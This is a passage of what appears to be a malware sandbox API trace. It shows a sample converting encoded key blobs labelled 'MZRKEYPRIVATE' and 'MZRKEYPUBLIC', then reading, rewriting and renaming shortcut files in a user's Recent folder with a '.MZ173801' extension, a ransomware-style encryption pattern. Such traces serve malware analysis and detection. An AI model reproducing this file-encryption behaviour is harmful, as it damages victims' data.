lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0147.509] GetCurrentThreadId () returned 0xab4 [0147.509] GetCurrentThreadId () returned 0xab4 [0147.509] GetCurrentThreadId () returned 0xab4 [0147.510] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.510] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.510] GetCurrentThreadId () returned 0xab4 [0147.510] GetCurrentThreadId () returned 0xab4 [0147.510] GetCurrentThreadId () returned 0xab4 [0147.511] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cpvUnLAPgKUFNMAUgON.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\cpvunlapgkufnmaugon.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.511] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.511] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.511] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x40d [0147.511] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.511] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x40d, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x40d, lpOverlapped=0x0) returned 1 [0147.512] CloseHandle (hObject=0x280) returned 1 [0147.512] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cpvUnLAPgKUFNMAUgON.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\cpvunlapgkufnmaugon.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.513] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x40d, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x40d, lpOverlapped=0x0) returned 1 [0147.514] CloseHandle (hObject=0x280) returned 1 [0147.516] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cpvUnLAPgKUFNMAUgON.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\cpvunlapgkufnmaugon.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cpvUnLAPgKUFNMAUgON.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\cpvunlapgkufnmaugon.lnk.mz173801")) returned 1 [0147.517] GetCurrentThreadId () returned 0xab4 [0147.517] GetCurrentThreadId () returned 0xab4 [0147.517] GetCurrentThreadId () returned 0xab4 [0147.517] GetCurrentThreadId () returned 0xab4 [0147.517] GetCurrentThreadId () returned 0xab4 [0147.517] GetCurrentThreadId () returned 0xab4 [0147.517] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf9a81f7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xb6d1c405, ftLastAccessTime.dwHighDateTime=0x1d5e7c2, ftLastWriteTime.dwLowDateTime=0xb6d1c405, ftLastWriteTime.dwHighDateTime=0x1d5e7c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="CustomDestinations", cAlternateFileName="CUSTOM~1")) returned 1 [0147.517] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d50ff2b, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x6d50ff2b, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x6d50ff2b, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x449, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="CyPtYrEBdI9stHyXAH.lnk", cAlternateFileName="CYPTYR~1.LNK")) returned 1 [0147.517] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.517] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.517] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CyPtYrEBdI9stHyXAH.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\cyptyrebdi9sthyxah.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d50ff2b, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x6d50ff2b, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x6d50ff2b, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x449)) returned 1 [0147.517] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CyPtYrEBdI9stHyXAH.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\cyptyrebdi9sthyxah.lnk")) returned 0x20 [0147.517] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CyPtYrEBdI9stHyXAH.lnk", dwFileAttributes=0x80) returned 1 [0147.520] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.520] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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